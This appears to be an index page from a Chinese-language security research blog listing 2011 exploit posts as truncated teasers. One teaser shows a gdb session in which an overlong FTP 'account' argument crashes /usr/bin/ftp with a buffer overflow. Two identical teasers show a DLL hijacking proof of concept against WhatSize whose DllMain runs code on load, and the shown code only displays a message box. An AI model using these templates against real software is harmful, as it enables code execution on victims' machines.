SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-09
Ubuntu 11.04 x86:
(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:kron0): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user ftp@10.0.0.9 !
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
* buffer overflow detected *: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50)
/lib/i386-linux-gnu/libc.so.6(+0xe4cca)
/lib/i386-linux-gnu/libc.so.6(+0xe41ed)
/usr/bin/ftp
/usr/bin/ftp
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7)
/usr/bin/ftp
======= Memory map: ========
00110000-0012c000 r-xp 00000000 08......
阅读全文 →
2011-09-08
/*
Exploit Title: WhatSize 动态连接数据库劫持漏洞(Size32.dll)
Author: Angel Injection
Tested on: Windows xp sp2
Greetz: Inj3ct0r Team , sec-krb.org Team
*/
include
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_hijack();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_hijack()
{
MessageBox(0, "WhatSize DLL Hijacking!", "DLL Message", MB_OK......
阅读全文 →
2011-09-08
/*
Exploit Title: WhatSize 动态连接数据库劫持漏洞(Size32.dll)
Author: Angel Injection
Tested on: Windows xp sp2
Greetz: Inj3ct0r Team , sec-krb.org Team
*/
include
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_hijack();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_hijack()
{
MessageBox(0, "WhatSize DLL Hijacking!", "DLL Message", MB_OK......
阅读全文 →